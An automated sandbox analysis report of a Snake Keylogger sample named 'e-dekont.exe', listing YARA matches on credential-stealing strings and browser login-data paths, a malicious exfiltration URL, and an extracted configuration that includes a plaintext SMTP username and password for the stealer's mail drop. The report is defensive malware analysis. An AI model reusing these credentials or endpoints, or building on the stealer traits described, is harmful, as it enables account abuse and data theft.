Edit tour

Windows Analysis Report
e-dekont.exe

Overview

General Information

Sample name:	e-dekont.exe
Analysis ID:	1430774
MD5:	ff53d6a04ea8618890f7a81e31bd8a22
SHA1:	d804959bcb8a2ea43278a1f78aac8abede4fa62f
SHA256:	5f8e6d5fd79a5a648e42597881ddf5e418be34a81b678b9742fad39d6b74c298
Tags:	exegeoTUR
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

e-dekont.exe (PID: 7268 cmdline: "C:\Users\user\Desktop\e-dekont.exe" MD5: FF53D6A04EA8618890F7A81E31BD8A22)

e-dekont.exe (PID: 7424 cmdline: "C:\Users\user\Desktop\e-dekont.exe" MD5: FF53D6A04EA8618890F7A81E31BD8A22)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "s.reyhani@agmfilter.com", "Password": "sibelr_63017", "Host": "mail.agmfilter.com", "Port": "587"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x147ab:$a1: get_encryptedPassword 0x14aa1:$a2: get_encryptedUsername 0x145b7:$a3: get_timePasswordChanged 0x146b2:$a4: get_passwordField 0x147c1:$a5: set_encryptedPassword 0x15da8:$a7: get_logins 0x15d0b:$a10: KeyLoggerEventArgs 0x159a4:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18184:$x1: $%SMTPDV$ 0x181e8:$x2: $#TheHashHere%& 0x1983b:$x3: %FTPDV$ 0x1992f:$x4: $%TelegramDv$ 0x159a4:$x5: KeyLoggerEventArgs 0x15d0b:$x5: KeyLoggerEventArgs 0x1985f:$m2: Clipboard Logs ID 0x19a2b:$m2: Screenshot Logs ID 0x19af7:$m2: keystroke Logs ID 0x19a03:$m4: \SnakeKeylogger\
00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x276a3b:$a1: get_encryptedPassword 0x29745b:$a1: get_encryptedPassword 0x2b7c7b:$a1: get_encryptedPassword 0x276d31:$a2: get_encryptedUsername 0x297751:$a2: get_encryptedUsername 0x2b7f71:$a2: get_encryptedUsername 0x276847:$a3: get_timePasswordChanged 0x297267:$a3: get_timePasswordChanged 0x2b7a87:$a3: get_timePasswordChanged 0x276942:$a4: get_passwordField 0x297362:$a4: get_passwordField 0x2b7b82:$a4: get_passwordField 0x276a51:$a5: set_encryptedPassword 0x297471:$a5: set_encryptedPassword 0x2b7c91:$a5: set_encryptedPassword 0x278038:$a7: get_logins 0x298a58:$a7: get_logins 0x2b9278:$a7: get_logins 0x277f9b:$a10: KeyLoggerEventArgs 0x2989bb:$a10: KeyLoggerEventArgs 0x2b91db:$a10: KeyLoggerEventArgs
00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x27a414:$x1: $%SMTPDV$ 0x29ae34:$x1: $%SMTPDV$ 0x2bb654:$x1: $%SMTPDV$ 0x27a478:$x2: $#TheHashHere%& 0x29ae98:$x2: $#TheHashHere%& 0x2bb6b8:$x2: $#TheHashHere%& 0x27bacb:$x3: %FTPDV$ 0x29c4eb:$x3: %FTPDV$ 0x2bcd0b:$x3: %FTPDV$ 0x27bbbf:$x4: $%TelegramDv$ 0x29c5df:$x4: $%TelegramDv$ 0x2bcdff:$x4: $%TelegramDv$ 0x277c34:$x5: KeyLoggerEventArgs 0x277f9b:$x5: KeyLoggerEventArgs 0x298654:$x5: KeyLoggerEventArgs 0x2989bb:$x5: KeyLoggerEventArgs 0x2b8e74:$x5: KeyLoggerEventArgs 0x2b91db:$x5: KeyLoggerEventArgs 0x27baef:$m2: Clipboard Logs ID 0x27bcbb:$m2: Screenshot Logs ID 0x27bd87:$m2: keystroke Logs ID
Process Memory Space: e-dekont.exe PID: 7268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e-dekont.exe PID: 7268	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: e-dekont.exe PID: 7268	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: e-dekont.exe PID: 7268	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x50ab7:$a1: get_encryptedPassword 0x50cc2:$a2: get_encryptedUsername 0x508e0:$a3: get_timePasswordChanged 0x509cf:$a4: get_passwordField 0x50acd:$a5: set_encryptedPassword 0x528dd:$a7: get_logins 0x52855:$a10: KeyLoggerEventArgs 0x5260e:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: e-dekont.exe PID: 7268	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5260e:$x5: KeyLoggerEventArgs 0x52855:$x5: KeyLoggerEventArgs 0x52f9b:$x5: KeyLoggerEventArgs 0x532cf:$x5: KeyLoggerEventArgs 0x54b48:$m2: Clipboard Logs ID 0x54c28:$m2: Screenshot Logs ID 0x54c5c:$m2: keystroke Logs ID 0x54c14:$m4: \SnakeKeylogger\
Process Memory Space: e-dekont.exe PID: 7424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e-dekont.exe PID: 7424	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: e-dekont.exe PID: 7424	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2fe0e:$a1: get_encryptedPassword 0x300fa:$a2: get_encryptedUsername 0x2fc24:$a3: get_timePasswordChanged 0x2fd1f:$a4: get_passwordField 0x2fe24:$a5: set_encryptedPassword 0x32181:$a7: get_logins 0x320e4:$a10: KeyLoggerEventArgs 0x31d7d:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: e-dekont.exe PID: 7424	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x31d7d:$x5: KeyLoggerEventArgs 0x320e4:$x5: KeyLoggerEventArgs 0x32891:$x5: KeyLoggerEventArgs 0x32bc5:$x5: KeyLoggerEventArgs 0x34508:$m2: Clipboard Logs ID 0x345e8:$m2: Screenshot Logs ID 0x3461c:$m2: keystroke Logs ID 0x345d4:$m4: \SnakeKeylogger\
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.e-dekont.exe.4720090.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont.exe.4720090.8.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.e-dekont.exe.4720090.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12bab:$a1: get_encryptedPassword 0x12ea1:$a2: get_encryptedUsername 0x129b7:$a3: get_timePasswordChanged 0x12ab2:$a4: get_passwordField 0x12bc1:$a5: set_encryptedPassword 0x141a8:$a7: get_logins 0x1410b:$a10: KeyLoggerEventArgs 0x13da4:$a11: KeyLoggerEventArgsEventHandler
0.2.e-dekont.exe.4720090.8.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a53f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19771:$a3: \Google\Chrome\User Data\Default\Login Data 0x19ba4:$a4: \Orbitum\User Data\Default\Login Data 0x1abe3:$a5: \Kometa\User Data\Default\Login Data
0.2.e-dekont.exe.4720090.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1375d:$s1: UnHook 0x13764:$s2: SetHook 0x1376c:$s3: CallNextHook 0x13779:$s4: _hook
0.2.e-dekont.exe.4720090.8.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16584:$x1: $%SMTPDV$ 0x165e8:$x2: $#TheHashHere%& 0x17c3b:$x3: %FTPDV$ 0x17d2f:$x4: $%TelegramDv$ 0x13da4:$x5: KeyLoggerEventArgs 0x1410b:$x5: KeyLoggerEventArgs 0x17c5f:$m2: Clipboard Logs ID 0x17e2b:$m2: Screenshot Logs ID 0x17ef7:$m2: keystroke Logs ID 0x17e03:$m4: \SnakeKeylogger\
2.2.e-dekont.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.e-dekont.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.e-dekont.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.e-dekont.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x149ab:$a1: get_encryptedPassword 0x14ca1:$a2: get_encryptedUsername 0x147b7:$a3: get_timePasswordChanged 0x148b2:$a4: get_passwordField 0x149c1:$a5: set_encryptedPassword 0x15fa8:$a7: get_logins 0x15f0b:$a10: KeyLoggerEventArgs 0x15ba4:$a11: KeyLoggerEventArgsEventHandler
2.2.e-dekont.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c33f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b571:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b9a4:$a4: \Orbitum\User Data\Default\Login Data 0x1c9e3:$a5: \Kometa\User Data\Default\Login Data
2.2.e-dekont.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1555d:$s1: UnHook 0x15564:$s2: SetHook 0x1556c:$s3: CallNextHook 0x15579:$s4: _hook
2.2.e-dekont.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18384:$x1: $%SMTPDV$ 0x183e8:$x2: $#TheHashHere%& 0x19a3b:$x3: %FTPDV$ 0x19b2f:$x4: $%TelegramDv$ 0x15ba4:$x5: KeyLoggerEventArgs 0x15f0b:$x5: KeyLoggerEventArgs 0x19a5f:$m2: Clipboard Logs ID 0x19c2b:$m2: Screenshot Logs ID 0x19cf7:$m2: keystroke Logs ID 0x19c03:$m4: \SnakeKeylogger\
0.2.e-dekont.exe.4720090.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont.exe.4720090.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.e-dekont.exe.4720090.8.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.e-dekont.exe.4720090.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x149ab:$a1: get_encryptedPassword 0x353cb:$a1: get_encryptedPassword 0x55beb:$a1: get_encryptedPassword 0x14ca1:$a2: get_encryptedUsername 0x356c1:$a2: get_encryptedUsername 0x55ee1:$a2: get_encryptedUsername 0x147b7:$a3: get_timePasswordChanged 0x351d7:$a3: get_timePasswordChanged 0x559f7:$a3: get_timePasswordChanged 0x148b2:$a4: get_passwordField 0x352d2:$a4: get_passwordField 0x55af2:$a4: get_passwordField 0x149c1:$a5: set_encryptedPassword 0x353e1:$a5: set_encryptedPassword 0x55c01:$a5: set_encryptedPassword 0x15fa8:$a7: get_logins 0x369c8:$a7: get_logins 0x571e8:$a7: get_logins 0x15f0b:$a10: KeyLoggerEventArgs 0x3692b:$a10: KeyLoggerEventArgs 0x5714b:$a10: KeyLoggerEventArgs
0.2.e-dekont.exe.4720090.8.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c33f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cd5f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5d57f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b571:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bf91:$a3: \Google\Chrome\User Data\Default\Login Data 0x5c7b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b9a4:$a4: \Orbitum\User Data\Default\Login Data 0x3c3c4:$a4: \Orbitum\User Data\Default\Login Data 0x5cbe4:$a4: \Orbitum\User Data\Default\Login Data 0x1c9e3:$a5: \Kometa\User Data\Default\Login Data 0x3d403:$a5: \Kometa\User Data\Default\Login Data 0x5dc23:$a5: \Kometa\User Data\Default\Login Data
0.2.e-dekont.exe.4720090.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1555d:$s1: UnHook 0x35f7d:$s1: UnHook 0x5679d:$s1: UnHook 0x15564:$s2: SetHook 0x35f84:$s2: SetHook 0x567a4:$s2: SetHook 0x1556c:$s3: CallNextHook 0x35f8c:$s3: CallNextHook 0x567ac:$s3: CallNextHook 0x15579:$s4: _hook 0x35f99:$s4: _hook 0x567b9:$s4: _hook
0.2.e-dekont.exe.4720090.8.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18384:$x1: $%SMTPDV$ 0x38da4:$x1: $%SMTPDV$ 0x595c4:$x1: $%SMTPDV$ 0x183e8:$x2: $#TheHashHere%& 0x38e08:$x2: $#TheHashHere%& 0x59628:$x2: $#TheHashHere%& 0x19a3b:$x3: %FTPDV$ 0x3a45b:$x3: %FTPDV$ 0x5ac7b:$x3: %FTPDV$ 0x19b2f:$x4: $%TelegramDv$ 0x3a54f:$x4: $%TelegramDv$ 0x5ad6f:$x4: $%TelegramDv$ 0x15ba4:$x5: KeyLoggerEventArgs 0x15f0b:$x5: KeyLoggerEventArgs 0x365c4:$x5: KeyLoggerEventArgs 0x3692b:$x5: KeyLoggerEventArgs 0x56de4:$x5: KeyLoggerEventArgs 0x5714b:$x5: KeyLoggerEventArgs 0x19a5f:$m2: Clipboard Logs ID 0x19c2b:$m2: Screenshot Logs ID 0x19cf7:$m2: keystroke Logs ID
0.2.e-dekont.exe.46bd870.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont.exe.46bd870.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.e-dekont.exe.46bd870.10.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.e-dekont.exe.46bd870.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x771cb:$a1: get_encryptedPassword 0x97beb:$a1: get_encryptedPassword 0xb840b:$a1: get_encryptedPassword 0x774c1:$a2: get_encryptedUsername 0x97ee1:$a2: get_encryptedUsername 0xb8701:$a2: get_encryptedUsername 0x76fd7:$a3: get_timePasswordChanged 0x979f7:$a3: get_timePasswordChanged 0xb8217:$a3: get_timePasswordChanged 0x770d2:$a4: get_passwordField 0x97af2:$a4: get_passwordField 0xb8312:$a4: get_passwordField 0x771e1:$a5: set_encryptedPassword 0x97c01:$a5: set_encryptedPassword 0xb8421:$a5: set_encryptedPassword 0x787c8:$a7: get_logins 0x991e8:$a7: get_logins 0xb9a08:$a7: get_logins 0x7872b:$a10: KeyLoggerEventArgs 0x9914b:$a10: KeyLoggerEventArgs 0xb996b:$a10: KeyLoggerEventArgs
0.2.e-dekont.exe.46bd870.10.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x7eb5f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x9f57f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xbfd9f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7dd91:$a3: \Google\Chrome\User Data\Default\Login Data 0x9e7b1:$a3: \Google\Chrome\User Data\Default\Login Data 0xbefd1:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e1c4:$a4: \Orbitum\User Data\Default\Login Data 0x9ebe4:$a4: \Orbitum\User Data\Default\Login Data 0xbf404:$a4: \Orbitum\User Data\Default\Login Data 0x7f203:$a5: \Kometa\User Data\Default\Login Data 0x9fc23:$a5: \Kometa\User Data\Default\Login Data 0xc0443:$a5: \Kometa\User Data\Default\Login Data
0.2.e-dekont.exe.46bd870.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x77d7d:$s1: UnHook 0x9879d:$s1: UnHook 0xb8fbd:$s1: UnHook 0x77d84:$s2: SetHook 0x987a4:$s2: SetHook 0xb8fc4:$s2: SetHook 0x77d8c:$s3: CallNextHook 0x987ac:$s3: CallNextHook 0xb8fcc:$s3: CallNextHook 0x77d99:$s4: _hook 0x987b9:$s4: _hook 0xb8fd9:$s4: _hook
0.2.e-dekont.exe.46bd870.10.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7aba4:$x1: $%SMTPDV$ 0x9b5c4:$x1: $%SMTPDV$ 0xbbde4:$x1: $%SMTPDV$ 0x7ac08:$x2: $#TheHashHere%& 0x9b628:$x2: $#TheHashHere%& 0xbbe48:$x2: $#TheHashHere%& 0x7c25b:$x3: %FTPDV$ 0x9cc7b:$x3: %FTPDV$ 0xbd49b:$x3: %FTPDV$ 0x7c34f:$x4: $%TelegramDv$ 0x9cd6f:$x4: $%TelegramDv$ 0xbd58f:$x4: $%TelegramDv$ 0x783c4:$x5: KeyLoggerEventArgs 0x7872b:$x5: KeyLoggerEventArgs 0x98de4:$x5: KeyLoggerEventArgs 0x9914b:$x5: KeyLoggerEventArgs 0xb9604:$x5: KeyLoggerEventArgs 0xb996b:$x5: KeyLoggerEventArgs 0x7c27f:$m2: Clipboard Logs ID 0x7c44b:$m2: Screenshot Logs ID 0x7c517:$m2: keystroke Logs ID
0.2.e-dekont.exe.465b050.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont.exe.465b050.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.e-dekont.exe.465b050.9.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.e-dekont.exe.465b050.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd99eb:$a1: get_encryptedPassword 0xfa40b:$a1: get_encryptedPassword 0x11ac2b:$a1: get_encryptedPassword 0xd9ce1:$a2: get_encryptedUsername 0xfa701:$a2: get_encryptedUsername 0x11af21:$a2: get_encryptedUsername 0xd97f7:$a3: get_timePasswordChanged 0xfa217:$a3: get_timePasswordChanged 0x11aa37:$a3: get_timePasswordChanged 0xd98f2:$a4: get_passwordField 0xfa312:$a4: get_passwordField 0x11ab32:$a4: get_passwordField 0xd9a01:$a5: set_encryptedPassword 0xfa421:$a5: set_encryptedPassword 0x11ac41:$a5: set_encryptedPassword 0xdafe8:$a7: get_logins 0xfba08:$a7: get_logins 0x11c228:$a7: get_logins 0xdaf4b:$a10: KeyLoggerEventArgs 0xfb96b:$a10: KeyLoggerEventArgs 0x11c18b:$a10: KeyLoggerEventArgs
0.2.e-dekont.exe.465b050.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xda59d:$s1: UnHook 0xfafbd:$s1: UnHook 0x11b7dd:$s1: UnHook 0xda5a4:$s2: SetHook 0xfafc4:$s2: SetHook 0x11b7e4:$s2: SetHook 0xda5ac:$s3: CallNextHook 0xfafcc:$s3: CallNextHook 0x11b7ec:$s3: CallNextHook 0xda5b9:$s4: _hook 0xfafd9:$s4: _hook 0x11b7f9:$s4: _hook
0.2.e-dekont.exe.465b050.9.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xdd3c4:$x1: $%SMTPDV$ 0xfdde4:$x1: $%SMTPDV$ 0x11e604:$x1: $%SMTPDV$ 0xdd428:$x2: $#TheHashHere%& 0xfde48:$x2: $#TheHashHere%& 0x11e668:$x2: $#TheHashHere%& 0xdea7b:$x3: %FTPDV$ 0xff49b:$x3: %FTPDV$ 0x11fcbb:$x3: %FTPDV$ 0xdeb6f:$x4: $%TelegramDv$ 0xff58f:$x4: $%TelegramDv$ 0x11fdaf:$x4: $%TelegramDv$ 0xdabe4:$x5: KeyLoggerEventArgs 0xdaf4b:$x5: KeyLoggerEventArgs 0xfb604:$x5: KeyLoggerEventArgs 0xfb96b:$x5: KeyLoggerEventArgs 0x11be24:$x5: KeyLoggerEventArgs 0x11c18b:$x5: KeyLoggerEventArgs 0xdea9f:$m2: Clipboard Logs ID 0xdec6b:$m2: Screenshot Logs ID 0xded37:$m2: keystroke Logs ID
Click to see the 28 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://scratchdreams.tk	Avira URL Cloud: Label: malware
Source: https://scratchdreams.tk/_send_.php?TS	Avira URL Cloud: Label: malware
Source: http://scratchdreams.tk	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "s.reyhani@agmfilter.com", "Password": "sibelr_63017", "Host": "mail.agmfilter.com", "Port": "587"}

Multi AV Scanner detection for domain / URL

Source: scratchdreams.tk	Virustotal: Detection: 17%	Perma Link
Source: https://scratchdreams.tk	Virustotal: Detection: 16%	Perma Link
Source: https://scratchdreams.tk/_send_.php?TS	Virustotal: Detection: 14%	Perma Link
Source: http://scratchdreams.tk	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for submitted file

Source: e-dekont.exe	ReversingLabs: Detection: 60%
Source: e-dekont.exe	Virustotal: Detection: 61%			Perma Link

Machine Learning detection for sample

Source: e-dekont.exe

Joe Sandbox ML: detected

Source: e-dekont.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.4:49734 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.4:49750 version: TLS 1.2

Source: e-dekont.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wGVE.pdbSHA256S source: e-dekont.exe
Source:	Binary string: wGVE.pdb source: e-dekont.exe

Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_02DCF21B
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_02DCF03B
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 02DCF7A1h	2_2_02DCF4E8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_02DCEA08
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 02DCFBF9h	2_2_02DCF941
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B42658h	2_2_05B42586
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B42091h	2_2_05B41DE0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B417D1h	2_2_05B41520
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4F7D1h	2_2_05B4F528
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4C809h	2_2_05B4C560
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4EF21h	2_2_05B4EC78
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B40F11h	2_2_05B40C60
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4E219h	2_2_05B4DF70
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4D969h	2_2_05B4D6C0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4D0B9h	2_2_05B4CE10
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4CC61h	2_2_05B4C9B8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B41C31h	2_2_05B41980
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4FC29h	2_2_05B4F980
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4C3B1h	2_2_05B4C108
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4F379h	2_2_05B4F0D0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B41371h	2_2_05B410C0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4EAC9h	2_2_05B4E820
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4021Dh	2_2_05B40040
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B40BA7h	2_2_05B40040
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4E671h	2_2_05B4E3C8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4DDC1h	2_2_05B4DB18
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B4D511h	2_2_05B4D268
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 05B42658h	2_2_05B42240
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C08D95h	2_2_06C08A58
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C0774Ah	2_2_06C074A0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C06169h	2_2_06C05EC0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C05D11h	2_2_06C05A68
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C088A9h	2_2_06C08600
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C06E71h	2_2_06C06BC8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_06C037FA
